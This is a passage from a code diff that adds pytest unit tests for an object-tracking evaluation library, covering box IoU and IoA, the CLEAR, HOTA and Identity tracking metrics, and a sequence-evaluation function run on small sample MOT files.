intersection=100, union=400 + ( + np.array([[0, 0, 10, 10]]), + np.array([[10, 0, 20, 10]]), + "xyxy", + np.array([[0.0]]), + ), # boxes touching at edge + ( + np.array([[0, 0, 10, 10]]), + np.array([[10, 10, 20, 20]]), + "xyxy", + np.array([[0.0]]), + ), # boxes touching at corner + ( + np.array([[0, 0, 10, 10], [20, 20, 30, 30]]), + np.array([[0, 0, 10, 10], [5, 0, 15, 10], [100, 100, 110, 110]]), + "xyxy", + np.array([[1.0, 1 / 3, 0.0], [0.0, 0.0, 0.0]]), + ), # multiple boxes batch + ( + np.array([[0, 0, 10, 10]]), + np.array([[5, 0, 10, 10]]), + "xywh", + np.array([[1 / 3]]), + ), # xywh format + ( + np.empty((0, 4)), + np.array([[0, 0, 10, 10]]), + "xyxy", + np.empty((0, 1)), + ), # empty boxes1 + ( + np.array([[0, 0, 10, 10]]), + np.empty((0, 4)), + "xyxy", + np.empty((1, 0)), + ), # empty boxes2 + ( + np.empty((0, 4)), + np.empty((0, 4)), + "xyxy", + np.empty((0, 0)), + ), # both empty + ( + np.array([[5, 5, 5, 5]]), + np.array([[0, 0, 10, 10]]), + "xyxy", + np.array([[0.0]]), + ), # zero-area box + ( + np.array([[1e6, 1e6, 1e6 + 10, 1e6 + 10]]), + np.array([[1e6, 1e6, 1e6 + 10, 1e6 + 10]]), + "xyxy", + np.array([[1.0]]), + ), # large coordinates + ], +) +def test_box_iou( + boxes1: np.ndarray[Any, np.dtype[Any]], + boxes2: np.ndarray[Any, np.dtype[Any]], + box_format: BoxFormat, + expected_iou: np.ndarray[Any, np.dtype[Any]], +) -> None: + result = box_iou(boxes1, boxes2, box_format=box_format) + assert result.shape == expected_iou.shape + assert np.allclose(result, expected_iou, rtol=1e-6, atol=1e-12) + + +def test_box_iou_invalid_format() -> None: + boxes = np.array([[0, 0, 10, 10]]) + with pytest.raises(ValueError, match="box_format must be"): + box_iou(boxes, boxes, box_format="invalid") # type: ignore[arg-type] + + +@pytest.mark.parametrize( + ("boxes1", "boxes2", "box_format", "expected_ioa"), + [ + ( + np.array([[0, 0, 10, 10]]), + np.array([[0, 0, 10, 10]]), + "xyxy", + np.array([[1.0]]), + ), # identical boxes + ( + np.array([[5, 5, 15, 15]]), + np.array([[0, 0, 20, 20]]), + "xyxy", + np.array([[1.0]]), + ), # detection fully inside ignore region + ( + np.array([[0, 0, 10, 10]]), + np.array([[5, 0, 15, 10]]), + "xyxy", + np.array([[0.5]]), + ), # partial overlap, intersection=50, area1=100 + ( + np.array([[0, 0, 10, 10]]), + np.array([[20, 20, 30, 30]]), + "xyxy", + np.array([[0.0]]), + ), # no overlap + ( + np.array([[5, 5, 5, 5]]), + np.array([[0, 0, 10, 10]]), + "xyxy", + np.array([[0.0]]), + ), # zero-area box + ( + np.array([[0, 0, 10, 10]]), + np.array([[5, 0, 10, 10]]), + "xywh", + np.array([[0.5]]), + ), # xywh format + ], +) +def test_box_ioa( + boxes1: np.ndarray[Any, np.dtype[Any]], + boxes2: np.ndarray[Any, np.dtype[Any]], + box_format: BoxFormat, + expected_ioa: np.ndarray[Any, np.dtype[Any]], +) -> None: + result = box_ioa(boxes1, boxes2, box_format=box_format) + assert result.shape == expected_ioa.shape + assert np.allclose(result, expected_ioa, rtol=1e-6, atol=1e-12) + + +def test_box_ioa_invalid_format() -> None: + boxes = np.array([[0, 0, 10, 10]]) + with pytest.raises(ValueError, match="box_format must be"): + box_ioa(boxes, boxes, box_format="invalid") # type: ignore[arg-type] + + +@pytest.mark.parametrize( + ("boxes1", "boxes2", "expected_iou"), + [ + ( + np.array([[0.5, 0.5, 10.5, 10.5]]), + np.array([[0.5, 0.5, 10.5, 10.5]]), + np.array([[1.0]]), + ), # floating point coords, identical boxes + ( + np.array([[0.0, 0.0, 1.0, 1.0]]), + np.array([[0.5, 0.0, 1.5, 1.0]]), + np.array([[1 / 3]]), + ), # unit boxes with 50% horizontal overlap + ( + np.array([[0.0, 0.0, 0.1, 0.1]]), + np.array([[0.0, 0.0, 0.1, 0.1]]), + np.array([[1.0]]), + ), # very small boxes (area=0.01) + ( + np.array([[0.0, 0.0, 1e-6, 1e-6]]), + np.array([[0.0, 0.0, 1e-6, 1e-6]]), + np.array([[1.0]]), + ), # near-epsilon sized boxes + ( + np.array([[0.0, 0.0, 100.0, 100.0]]), + np.array([[99.9, 99.9, 100.0, 100.0]]), + np.array([[0.01 / (10000 + 0.01 - 0.01)]]), + ), # tiny overlap (0.1 x 0.1 = 0.01) + ( + np.array([[0.123456789, 0.987654321, 10.111111111, 10.222222222]]), + np.array([[0.123456789, 0.987654321, 10.111111111, 10.222222222]]), + np.array([[1.0]]), + ), # many decimal places, identical + ( + np.array([[1e-10, 1e-10, 1.0 + 1e-10, 1.0 + 1e-10]]), + np.array([[0.0, 0.0, 1.0, 1.0]]), + np.array([[1.0]]), + ), # near-identical with tiny offset + ], +) +def test_box_iou_floating_point( + boxes1: np.ndarray[Any, np.dtype[Any]], + boxes2: np.ndarray[Any, np.dtype[Any]], + expected_iou: np.ndarray[Any, np.dtype[Any]], +) -> None: + result = box_iou(boxes1, boxes2, box_format="xyxy") + assert result.shape == expected_iou.shape + assert np.allclose(result, expected_iou, rtol=1e-5, atol=1e-10) + + +@pytest.mark.parametrize( + ("num_boxes1", "num_boxes2"), + [ + (5, 5), + (5, 10), + (10, 5), + (50, 50), + ], +) +def test_box_iou_valid_range(num_boxes1: int, num_boxes2: int) -> None: + rng = np.random.default_rng(42) + boxes1 = rng.random((num_boxes1, 4)) * 100 + boxes2 = rng.random((num_boxes2, 4)) * 100 + + # Ensure valid xyxy format (x1 > x0, y1 > y0) + boxes1[:, 2:] = boxes1[:, :2] + np.abs(boxes1[:, 2:]) + boxes2[:, 2:] = boxes2[:, :2] + np.abs(boxes2[:, 2:]) + + ious = box_iou(boxes1, boxes2, box_format="xyxy") + + assert ious.shape == (num_boxes1, num_boxes2) + assert (ious >= 0 - EPS).all() + assert (ious <= 1 + EPS).all() + + +def test_epsilon_matches_trackeval() -> None: + assert EPS == np.finfo("float").eps diff --git a/test/eval/test_clear.py b/test/eval/test_clear.py new file mode 100644 index 0000000..4fa1986 --- /dev/null +++ b/test/eval/test_clear.py @@ -0,0 +1,313 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +import pytest + +from trackers.eval.clear import compute_clear_metrics + + +@pytest.mark.parametrize( + ( + "gt_ids", + "tracker_ids", + "similarity_scores", + "threshold", + "expected", + ), + [ + # Perfect tracking - 2 objects, 3 frames + ( + [np.array([0, 1]), np.array([0, 1]), np.array([0, 1])], + [np.array([0, 1]), np.array([0, 1]), np.array([0, 1])], + [ + np.array([[0.9, 0.1], [0.1, 0.9]]), + np.array([[0.8, 0.2], [0.2, 0.85]]), + np.array([[0.85, 0.15], [0.1, 0.9]]), + ], + 0.5, + {"CLR_TP": 6, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0, "MT": 2}, + ), + # Complete miss - tracker has no detections + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([]), np.array([])], + [np.empty((2, 0)), np.empty((2, 0))], + 0.5, + {"CLR_TP": 0, "CLR_FN": 4, "CLR_FP": 0, "IDSW": 0, "ML": 2, "MOTA": 0.0}, + ), + # All false positives - no GT + ( + [np.array([]), np.array([])], + [np.array([0, 1]), np.array([0, 1])], + [np.empty((0, 2)), np.empty((0, 2))], + 0.5, + {"CLR_TP": 0, "CLR_FN": 0, "CLR_FP": 4, "IDSW": 0, "ML": 0}, + ), + # Single ID switch + ( + [np.array([0]), np.array([0]), np.array([0])], + [np.array([10]), np.array([20]), np.array([20])], + [np.array([[0.9]]), np.array([[0.8]]), np.array([[0.85]])], + 0.5, + {"CLR_TP": 3, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 1, "MT": 1}, + ), + # Multiple ID switches + ( + [np.array([0]), np.array([0]), np.array([0]), np.array([0])], + [np.array([1]), np.array([2]), np.array([3]), np.array([4])], + [ + np.array([[0.9]]), + np.array([[0.85]]), + np.array([[0.8]]), + np.array([[0.75]]), + ], + 0.5, + {"CLR_TP": 4, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 3, "MT": 1}, + ), + # Partial tracking - below threshold matches + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([0, 1]), np.array([0, 1])], + [ + np.array([[0.8, 0.1], [0.1, 0.8]]), + np.array([[0.3, 0.1], [0.1, 0.3]]), + ], + 0.5, + {"CLR_TP": 2, "CLR_FN": 2, "CLR_FP": 2, "IDSW": 0}, + ), + # More trackers than GT (extra false positives) + ( + [np.array([0]), np.array([0])], + [np.array([0, 1, 2]), np.array([0, 1, 2])], + [np.array([[0.9, 0.1, 0.1]]), np.array([[0.85, 0.1, 0.1]])], + 0.5, + {"CLR_TP": 2, "CLR_FN": 0, "CLR_FP": 4, "IDSW": 0, "MT": 1}, + ), + # More GT than trackers (false negatives) + ( + [np.array([0, 1, 2]), np.array([0, 1, 2])], + [np.array([0]), np.array([0])], + [np.array([[0.9], [0.1], [0.1]]), np.array([[0.85], [0.1], [0.1]])], + 0.5, + {"CLR_TP": 2, "CLR_FN": 4, "CLR_FP": 0, "IDSW": 0}, + ), + # Empty sequence + ( + [], + [], + [], + 0.5, + {"CLR_TP": 0, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0, "ML": 0}, + ), + # Non-diagonal optimal matching + ( + [np.array([0, 1])], + [np.array([10, 20])], + [np.array([[0.3, 0.9], [0.8, 0.2]])], + 0.5, + {"CLR_TP": 2, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0}, + ), + # Fragmentation - track interrupted and resumed + ( + [np.array([0]), np.array([0]), np.array([0]), np.array([0]), np.array([0])], + [np.array([1]), np.array([]), np.array([1]), np.array([]), np.array([1])], + [ + np.array([[0.9]]), + np.empty((1, 0)), + np.array([[0.85]]), + np.empty((1, 0)), + np.array([[0.8]]), + ], + 0.5, + {"CLR_TP": 3, "CLR_FN": 2, "CLR_FP": 0, "IDSW": 0, "Frag": 0}, + ), + # Threshold boundary - exactly at threshold DOES match + ( + [np.array([0])], + [np.array([0])], + [np.array([[0.5]])], + 0.5, + {"CLR_TP": 1, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0}, + ), + # Threshold boundary - just above threshold + ( + [np.array([0])], + [np.array([0])], + [np.array([[0.5001]])], + 0.5, + {"CLR_TP": 1, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0}, + ), + # MT/PT/ML edge case - exactly 80% should be PT not MT + ( + [ + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + ], + [ + np.array([1]), + np.array([1]), + np.array([1]), + np.array([1]), + np.array([1]), + np.array([1]), + np.array([1]), + np.array([1]), + np.array([]), + np.array([]), + ], + [ + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.array([[0.9]]), + np.empty((1, 0)), + np.empty((1, 0)), + ], + 0.5, + {"MT": 0, "PT": 1, "ML": 0}, + ), + # MT/PT/ML edge case - exactly 20% should be PT not ML + ( + [ + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + np.array([0]), + ], + [ + np.array([1]), + np.array([1]), + np.array([]), + np.array([]), + np.array([]), + np.array([]), + np.array([]), + np.array([]), + np.array([]), + np.array([]), + ], + [ + np.array([[0.9]]), + np.array([[0.9]]), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + np.empty((1, 0)), + ], + 0.5, + {"MT": 0, "PT": 1, "ML": 0}, + ), + # Complex multi-object scenario + ( + [ + np.array([0, 1, 2]), + np.array([0, 1, 2]), + np.array([0, 1]), + np.array([0, 1, 3]), + ], + [ + np.array([10, 11, 12]), + np.array([10, 11, 12]), + np.array([10, 11]), + np.array([10, 11, 13]), + ], + [ + np.array([[0.9, 0.1, 0.1], [0.1, 0.9, 0.1], [0.1, 0.1, 0.9]]), + np.array([[0.85, 0.1, 0.1], [0.1, 0.85, 0.1], [0.1, 0.1, 0.85]]), + np.array([[0.9, 0.1], [0.1, 0.9]]), + np.array([[0.9, 0.1, 0.1], [0.1, 0.9, 0.1], [0.1, 0.1, 0.9]]), + ], + 0.5, + {"CLR_TP": 11, "CLR_FN": 0, "CLR_FP": 0, "IDSW": 0}, + ), + # ID switch with IDSW minimization preference + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 20]), np.array([10, 20])], + [ + np.array([[0.9, 0.1], [0.1, 0.85]]), + np.array([[0.7, 0.75], [0.75, 0.7]]), + ], + 0.5, + {"CLR_TP": 4, "IDSW": 0}, + ), + # MOTA formula verification: (TP - FP - IDSW) / (TP + FN) = 0.25 + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 11, 12]), np.array([10, 20, 12])], + [ + np.array([[0.9, 0.1, 0.1], [0.1, 0.9, 0.1]]), + np.array([[0.9, 0.1, 0.1], [0.1, 0.9, 0.1]]), + ], + 0.5, + {"CLR_TP": 4, "CLR_FN": 0, "CLR_FP": 2, "IDSW": 1, "MOTA": 0.25}, + ), + # MOTP formula verification: sum(similarity) / TP = 0.8 + ( + [np.array([0]), np.array([0]), np.array([0])], + [np.array([0]), np.array([0]), np.array([0])], + [np.array([[0.9]]), np.array([[0.8]]), np.array([[0.7]])], + 0.5, + {"CLR_TP": 3, "MOTP": 0.8}, + ), + # Non-sequential GT IDs (100, 200 instead of 0, 1) + ( + [np.array([100, 200]), np.array([100, 200])], + [np.array([1, 2]), np.array([1, 2])], + [ + np.array([[0.9, 0.1], [0.1, 0.9]]), + np.array([[0.85, 0.15], [0.15, 0.85]]), + ], + 0.5, + {"CLR_TP": 4, "CLR_FN": 0, "IDSW": 0, "MT": 2}, + ), + ], +) +def test_compute_clear_metrics( + gt_ids: list[np.ndarray[Any, np.dtype[Any]]], + tracker_ids: list[np.ndarray[Any, np.dtype[Any]]], + similarity_scores: list[np.ndarray[Any, np.dtype[Any]]], + threshold: float, + expected: dict[str, Any], +) -> None: + result = compute_clear_metrics( + gt_ids, tracker_ids, similarity_scores, threshold=threshold + ) + + for key, value in expected.items(): + if isinstance(value, float): + assert result[key] == pytest.approx(value), ( + f"Mismatch for {key}: {result[key]} != {value}" + ) + else: + assert result[key] == value, f"Mismatch for {key}: {result[key]} != {value}" diff --git a/test/eval/test_evaluate.py b/test/eval/test_evaluate.py new file mode 100644 index 0000000..f6efb26 --- /dev/null +++ b/test/eval/test_evaluate.py @@ -0,0 +1,146 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from trackers.eval import evaluate_mot_sequence + + +@pytest.fixture +def sample_mot_files(tmp_path: Path) -> tuple[Path, Path]: + """Create sample GT and tracker MOT files for testing.""" + gt_content = "1,1,100,200,50,60,1,1\n1,2,150,250,40,50,1,1\n2,1,105,205,50,60,1,1\n" + tracker_content = ( + "1,10,102,202,50,60,0.9,1\n1,20,152,252,40,50,0.8,1\n2,10,107,207,50,60,0.9,1\n" + ) + + gt_path = tmp_path / "gt.txt" + tracker_path = tmp_path / "tracker.txt" + gt_path.write_text(gt_content) + tracker_path.write_text(tracker_content) + + return gt_path, tracker_path + + +def test_evaluate_mot_sequence_hota_only(sample_mot_files: tuple[Path, Path]) -> None: + """Test evaluate_mot_sequence with only HOTA metrics (no CLEAR).""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["HOTA"], + ) + + # HOTA should be present + assert result.HOTA is not None + assert result.HOTA.HOTA >= 0 + assert result.HOTA.DetA >= 0 + assert result.HOTA.AssA >= 0 + + # CLEAR should be None when not requested + assert result.CLEAR is None + + # Identity should be None when not requested + assert result.Identity is None + + +def test_evaluate_mot_sequence_identity_only( + sample_mot_files: tuple[Path, Path], +) -> None: + """Test evaluate_mot_sequence with only Identity metrics.""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["Identity"], + ) + + # Identity should be present + assert result.Identity is not None + assert result.Identity.IDF1 >= 0 + + # CLEAR and HOTA should be None + assert result.CLEAR is None + assert result.HOTA is None + + +def test_evaluate_mot_sequence_clear_only(sample_mot_files: tuple[Path, Path]) -> None: + """Test evaluate_mot_sequence with only CLEAR metrics (default).""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["CLEAR"], + ) + + # CLEAR should be present + assert result.CLEAR is not None + assert result.CLEAR.MOTA is not None + + # HOTA and Identity should be None + assert result.HOTA is None + assert result.Identity is None + + +def test_evaluate_mot_sequence_all_metrics(sample_mot_files: tuple[Path, Path]) -> None: + """Test evaluate_mot_sequence with all metrics.""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["CLEAR", "HOTA", "Identity"], + ) + + # All should be present + assert result.CLEAR is not None + assert result.HOTA is not None + assert result.Identity is not None + + +def test_evaluate_mot_sequence_table_hota_only( + sample_mot_files: tuple[Path, Path], +) -> None: + """Test that table() works when only HOTA is computed.""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["HOTA"], + ) + + # table() should work without errors + table_str = result.table() + assert "HOTA" in table_str + assert "DetA" in table_str + # CLEAR columns should not be present + assert "MOTA" not in table_str + + +def test_evaluate_mot_sequence_json_hota_only( + sample_mot_files: tuple[Path, Path], +) -> None: + """Test that json() works when only HOTA is computed.""" + gt_path, tracker_path = sample_mot_files + + result = evaluate_mot_sequence( + gt_path=gt_path, + tracker_path=tracker_path, + metrics=["HOTA"], + ) + + # json() should work without errors + json_str = result.json() + assert "HOTA" in json_str + assert "DetA" in json_str diff --git a/test/eval/test_hota.py b/test/eval/test_hota.py new file mode 100644 index 0000000..9ce1ea2 --- /dev/null +++ b/test/eval/test_hota.py @@ -0,0 +1,273 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +import pytest + +from trackers.eval.hota import ( + ALPHA_THRESHOLDS, + aggregate_hota_metrics, + compute_hota_metrics, +) + + +@pytest.mark.parametrize( + ( + "gt_ids", + "tracker_ids", + "similarity_scores", + "expected", + ), + [ + # Empty GT and tracker + ( + [np.array([])], + [np.array([])], + [np.zeros((0, 0))], + {"HOTA_TP": 0, "HOTA_FN": 0, "HOTA_FP": 0}, + ), + # No tracker detections - all FN + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([]), np.array([])], + [np.zeros((2, 0)), np.zeros((2, 0))], + {"HOTA": 0.0, "DetA": 0.0, "HOTA_FN": 4 * 19, "HOTA_FP": 0, "HOTA_TP": 0}, + ), + # No GT detections - all FP + ( + [np.array([]), np.array([])], + [np.array([10, 20]), np.array([10, 20])], + [np.zeros((0, 2)), np.zeros((0, 2))], + {"HOTA": 0.0, "DetA": 0.0, "HOTA_FP": 4 * 19, "HOTA_FN": 0, "HOTA_TP": 0}, + ), + # Perfect tracking with high IoU + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 20]), np.array([10, 20])], + [ + np.array([[0.9, 0.0], [0.0, 0.9]]), + np.array([[0.9, 0.0], [0.0, 0.9]]), + ], + {"HOTA_min": 0.8, "DetA_min": 0.8, "AssA_min": 0.9}, + ), + # ID switch reduces AssA + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 20]), np.array([10, 20])], + [ + np.array([[0.8, 0.1], [0.1, 0.8]]), # Normal matching + np.array([[0.1, 0.8], [0.8, 0.1]]), # Swapped! + ], + {"DetA_min": 0.5, "AssA_max": 0.8}, + ), + # Low IoU passes fewer alpha thresholds + ( + [np.array([0])], + [np.array([10])], + [np.array([[0.3]])], + {"HOTA_min": 0.0, "HOTA_max": 0.5, "HOTA_TP_min": 1}, + ), + # Multiple objects partial match + ( + [np.array([0, 1, 2])], + [np.array([10, 20])], # Only 2 trackers for 3 GTs + [ + np.array( + [ + [0.8, 0.0], + [0.0, 0.8], + [0.0, 0.0], # GT2 has no match + ] + ) + ], + {"HOTA_FN_min": 19, "DetRe_max": 1.0, "DetPr_max": 1.0}, + ), + # Single frame perfect matching + ( + [np.array([0])], + [np.array([10])], + [np.array([[0.8]])], + {"HOTA_TP_min": 1, "LocA_min": 0.8}, + ), + ], +) +def test_compute_hota_metrics( + gt_ids: list[np.ndarray[Any, np.dtype[Any]]], + tracker_ids: list[np.ndarray[Any, np.dtype[Any]]], + similarity_scores: list[np.ndarray[Any, np.dtype[Any]]], + expected: dict[str, Any], +) -> None: + result = compute_hota_metrics(gt_ids, tracker_ids, similarity_scores) + + # Verify all expected fields are present + for field in ["HOTA", "DetA", "AssA", "DetRe", "DetPr", "AssRe", "AssPr", "LocA"]: + assert field in result + assert isinstance(result[field], float) + + for field in ["HOTA_TP", "HOTA_FN", "HOTA_FP"]: + assert field in result + assert isinstance(result[field], int) + + # Check expected values + for key, value in expected.items(): + if key.endswith("_min"): + actual_key = key[:-4] + assert result[actual_key] >= value, ( + f"{actual_key} should be >= {value}, got {result[actual_key]}" + ) + elif key.endswith("_max"): + actual_key = key[:-4] + assert result[actual_key] <= value, ( + f"{actual_key} should be <= {value}, got {result[actual_key]}" + ) + elif key.endswith("_approx"): + actual_key = key[:-7] + assert result[actual_key] == pytest.approx(value, rel=0.01), ( + f"{actual_key} should be ~{value}, got {result[actual_key]}" + ) + elif isinstance(value, float): + assert result[key] == pytest.approx(value), ( + f"Mismatch for {key}: {result[key]} != {value}" + ) + else: + assert result[key] == value, f"Mismatch for {key}: {result[key]} != {value}" + + +def test_compute_hota_metrics_result_structure() -> None: + """Verify all expected fields are present in result with correct types.""" + result = compute_hota_metrics( + gt_ids=[np.array([0])], + tracker_ids=[np.array([10])], + similarity_scores=[np.array([[0.8]])], + ) + + # Float summary fields + for field in [ + "HOTA", + "DetA", + "AssA", + "DetRe", + "DetPr", + "AssRe", + "AssPr", + "LocA", + "OWTA", + ]: + assert field in result + assert isinstance(result[field], float) + assert 0 <= result[field] <= 1 + + # Integer summary fields + for field in ["HOTA_TP", "HOTA_FN", "HOTA_FP"]: + assert field in result + assert isinstance(result[field], int) + assert result[field] >= 0 + + # Array fields for aggregation + for field in [ + "HOTA_TP_array", + "HOTA_FN_array", + "HOTA_FP_array", + "AssA_array", + "AssRe_array", + "AssPr_array", + "LocA_array", + ]: + assert field in result + assert isinstance(result[field], np.ndarray) + assert len(result[field]) == len(ALPHA_THRESHOLDS) + + +@pytest.mark.parametrize( + ( + "sequence_metrics", + "expected", + ), + [ + # Empty list + ( + [], + {"HOTA": 0.0, "HOTA_TP": 0, "HOTA_FN": 0, "HOTA_FP": 0}, + ), + ], +) +def test_aggregate_hota_metrics( + sequence_metrics: list[dict[str, Any]], + expected: dict[str, Any], +) -> None: + result = aggregate_hota_metrics(sequence_metrics) + + for key, value in expected.items(): + if isinstance(value, float): + assert result[key] == pytest.approx(value), ( + f"Mismatch for {key}: {result[key]} != {value}" + ) + else: + assert result[key] == value, f"Mismatch for {key}: {result[key]} != {value}" + + +def test_aggregate_hota_metrics_single_sequence() -> None: + """Single sequence aggregation should match original.""" + seq_result = compute_hota_metrics( + gt_ids=[np.array([0, 1])], + tracker_ids=[np.array([10, 20])], + similarity_scores=[np.array([[0.8, 0.0], [0.0, 0.8]])], + ) + + agg_result = aggregate_hota_metrics([seq_result]) + + assert agg_result["HOTA"] == pytest.approx(seq_result["HOTA"], rel=1e-4) + assert agg_result["DetA"] == pytest.approx(seq_result["DetA"], rel=1e-4) + assert agg_result["AssA"] == pytest.approx(seq_result["AssA"], rel=1e-4) + + +def test_aggregate_hota_metrics_multiple_sequences() -> None: + """Multiple sequences should aggregate correctly.""" + seq_result1 = compute_hota_metrics( + gt_ids=[np.array([0])], + tracker_ids=[np.array([10])], + similarity_scores=[np.array([[0.9]])], + ) + seq_result2 = compute_hota_metrics( + gt_ids=[np.array([0])], + tracker_ids=[np.array([10])], + similarity_scores=[np.array([[0.9]])], + ) + + agg_result = aggregate_hota_metrics([seq_result1, seq_result2]) + + # TP/FN/FP should be summed + expected_tp = seq_result1["HOTA_TP"] + seq_result2["HOTA_TP"] + assert agg_result["HOTA_TP"] == expected_tp + + # HOTA should be similar to individual sequences since they're identical + assert agg_result["HOTA"] == pytest.approx(seq_result1["HOTA"], rel=0.01) + + +def test_aggregate_hota_metrics_weighted_by_tp() -> None: + """Aggregation should weight by TP count.""" + # High quality sequence (many TPs) + high_quality = compute_hota_metrics( + gt_ids=[np.array([0, 1, 2, 3])], + tracker_ids=[np.array([10, 20, 30, 40])], + similarity_scores=[np.diag([0.9, 0.9, 0.9, 0.9])], + ) + + # Low quality sequence (few TPs) + low_quality = compute_hota_metrics( + gt_ids=[np.array([0])], + tracker_ids=[np.array([10])], + similarity_scores=[np.array([[0.3]])], + ) + + agg_result = aggregate_hota_metrics([high_quality, low_quality]) + + # Result should be closer to high_quality since it has more TPs + assert agg_result["HOTA"] > low_quality["HOTA"] diff --git a/test/eval/test_identity.py b/test/eval/test_identity.py new file mode 100644 index 0000000..be6d673 --- /dev/null +++ b/test/eval/test_identity.py @@ -0,0 +1,224 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +import pytest + +from trackers.eval.identity import ( + aggregate_identity_metrics, + compute_identity_metrics, +) + + +@pytest.mark.parametrize( + ( + "gt_ids", + "tracker_ids", + "similarity_scores", + "expected", + ), + [ + # Empty GT and tracker + ( + [np.array([])], + [np.array([])], + [np.zeros((0, 0))], + {"IDTP": 0, "IDFN": 0, "IDFP": 0, "IDF1": 0.0}, + ), + # No tracker detections - all FN + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([]), np.array([])], + [np.zeros((2, 0)), np.zeros((2, 0))], + {"IDTP": 0, "IDFN": 4, "IDFP": 0, "IDF1": 0.0, "IDR": 0.0}, + ), + # No GT detections - all FP + ( + [np.array([]), np.array([])], + [np.array([10, 20]), np.array([10, 20])], + [np.zeros((0, 2)), np.zeros((0, 2))], + {"IDTP": 0, "IDFN": 0, "IDFP": 4, "IDF1": 0.0, "IDP": 0.0}, + ), + # Perfect tracking - all detections matched with correct IDs + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 20]), np.array([10, 20])], + [ + np.array([[0.8, 0.0], [0.0, 0.8]]), + np.array([[0.8, 0.0], [0.0, 0.8]]), + ], + {"IDTP": 4, "IDFN": 0, "IDFP": 0, "IDF1": 1.0, "IDR": 1.0, "IDP": 1.0}, + ), + # ID switch - GT 0 matched tracker 10 in frame 1, tracker 20 in frame 2 + ( + [np.array([0, 1]), np.array([0, 1])], + [np.array([10, 20]), np.array([10, 20])], + [ + np.array([[0.8, 0.1], [0.1, 0.8]]), # Normal matching + np.array([[0.1, 0.8], [0.8, 0.1]]), # Swapped! + ], + # With ID switch, each GT can only match one tracker globally + # So 2 IDTP per ID = 4 total, but need to split FN/FP + {"IDTP_min": 2, "IDF1_min": 0.3}, + ), + # Low IoU below threshold - no matches + ( + [np.array([0])], + [np.array([10])], + [np.array([[0.3]])], # Below default 0.5 threshold + {"IDTP": 0, "IDFN": 1, "IDFP": 1, "IDF1": 0.0}, + ), + # Multiple objects partial match + ( + [np.array([0, 1, 2])], + [np.array([10, 20])], # Only 2 trackers for 3 GTs + [np.array([[0.8, 0.0], [0.0, 0.8], [0.0, 0.0]])], + {"IDTP": 2, "IDFN": 1, "IDFP": 0}, + ), + # Extra tracker detections + ( + [np.array([0])], + [np.array([10, 20, 30])], # 3 trackers for 1 GT + [np.array([[0.8, 0.0, 0.0]])], + {"IDTP": 1, "IDFN": 0, "IDFP": 2}, + ), + ], +) +def test_compute_identity_metrics( + gt_ids: list[np.ndarray], + tracker_ids: list[np.ndarray], + similarity_scores: list[np.ndarray], + expected: dict[str, Any], +) -> None: + """Test Identity metrics computation for various scenarios.""" + result = compute_identity_metrics(gt_ids, tracker_ids, similarity_scores) + + for key, value in expected.items(): + if key.endswith("_min"): + actual_key = key[:-4] + assert result[actual_key] >= value, ( + f"{actual_key} should be >= {value}, got {result[actual_key]}" + ) + elif key.endswith("_max"): + actual_key = key[:-4] + assert result[actual_key] <= value, ( + f"{actual_key} should be <= {value}, got {result[actual_key]}" + ) + else: + if isinstance(value, float): + assert result[key] == pytest.approx(value, abs=1e-6), ( + f"{key} mismatch: expected {value}, got {result[key]}" + ) + else: + assert result[key] == value, ( + f"{key} mismatch: expected {value}, got {result[key]}" + ) + + +def test_compute_identity_metrics_custom_threshold() -> None: + """Test Identity metrics with custom IoU threshold.""" + gt_ids = [np.array([0])] + tracker_ids = [np.array([10])] + similarity_scores = [np.array([[0.4]])] + + # Default threshold 0.5 